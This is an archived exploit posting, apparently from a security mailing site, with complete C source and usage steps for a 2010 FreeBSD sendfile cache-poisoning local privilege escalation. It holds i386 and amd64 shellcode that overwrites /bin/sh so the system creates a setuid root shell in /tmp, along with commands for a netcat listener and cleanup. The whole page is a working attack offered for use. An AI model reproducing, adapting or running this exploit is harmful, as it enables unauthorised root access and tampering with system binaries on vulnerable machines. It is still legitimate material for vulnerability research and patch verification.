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FreeBSD mbufs() Sendfile Cache Poisoning Exploit

FreeBSD mbufs() Sendfile Cache Poisoning Exploit
Posted Aug 19, 2010
Authored by Kingcope

FreeBSD mbufs() sendfile cache poisoning local privilege escalation exploit that throws a setuid shell in /tmp. Works on 7.x and 8.x builds prior to 12Jul2010.

tags | exploit, shell, local
systems | freebsd
MD5 | 853d0646caa6fc732b1d4824faf52e8d

FreeBSD mbufs() Sendfile Cache Poisoning Exploit

Change Mirror Download
/*  freebsd x86/x64 sendfile cache local root xpl v2

by Kingcope
2010
--

should h4x any freebsd 8.* and 7.* prior to 12Jul2010

tampers /bin/sh to contain a shellcode which does
'
chmod a+s /tmp/sh
chown root /tmp/sh
execve /tmp/sh2
'

how to use:

terminal 1:
$ cp /bin/sh /tmp/sh
$ cp /bin/sh /tmp/sh2
$ gcc cache.c -o cache

terminal 2:
$ nc -l 7030

terminal 1:
for i386 arch type:
$ ./cache i386
for amd64 arch type:
$ ./cache amd64

now wait

/bin/sh should be execed by the system as root in ~5 mins

then do:
$ /tmp/sh
#

cleanup:
# cp -f /tmp/sh2 /bin/sh
#

enjoy the root shell!
*/
// this juarez is now private on #darknet --
// http://www.youtube.com/watch?v=JtgInqNNpCI
// http://www.youtube.com/watch?v=IdbRWrY4QBI

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <strings.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

main (int argc, char *argv[]) {
int s, f, k2;
struct sockaddr_in addr;
int flags;
char str32[]=
"\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3"
"\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f"
"\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d"
"\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";
char str64[]=
"\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68"
"\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"
"\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0"
"\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89"
"\xe7\x57\x52\x48\x89\xe6\x0f\x05";

char buf[10000];

char *p;
struct stat sb;
int n;
fd_set wset;
int64_t size;
off_t sbytes;
off_t sent = 0;
int chunk;
int arch = 3;

if (argc != 2) {
printf("define architecture i386 or amd64\n");
return;
}

if (strcmp(argv[1], "i386") == 0)
arch=1;

if (strcmp(argv[1], "amd64") == 0)
arch=2;

if (arch == 3) {
printf("define architecture i386 or amd64\n");
return;
}

s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(7030);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

n = connect(s, (struct sockaddr *)&addr, sizeof (addr));
if (n < 0)
warn ("fail to connect");

f = open("/bin/sh", O_RDONLY);
if (f<0)
warn("fail to open file");
n = fstat(f, &sb);
if (n<0)
warn("fstat failed");

size = sb.st_size;
chunk = 0;

flags = fcntl(f, F_GETFL);
flags |= O_NONBLOCK;
fcntl(f, F_SETFL, flags);

while (size > 0) {

FD_ZERO(&wset);
FD_SET(s, &wset);
n = select(f+1, NULL, &wset, NULL, NULL);
if (n < 0)
continue;

if (chunk > 0) {
sbytes = 0;
if (arch == 1)
n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0);
if (arch == 2)
n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0);
if (n < 0)
continue;
chunk -= sbytes;
size -= sbytes;
sent += sbytes;
continue;
}

chunk = 2048;

memset(buf, '\0', sizeof buf);
if (arch == 1) {
for (k2=0;k2<256;k2++) {
buf[k2] = 0x90;
}
p = buf;
p = p + k2;
memcpy(p, str32, sizeof str32);

n = k2 + sizeof str32;
p = buf;
}

if (arch == 2) {
for (k2=0;k2<100;k2++) {
buf[k2] = 0x90;
}
p = buf;
p = p + k2;
memcpy(p, str64, sizeof str64);

n = k2 + sizeof str64;
p = buf;
}

write(s, p, n);
}
}

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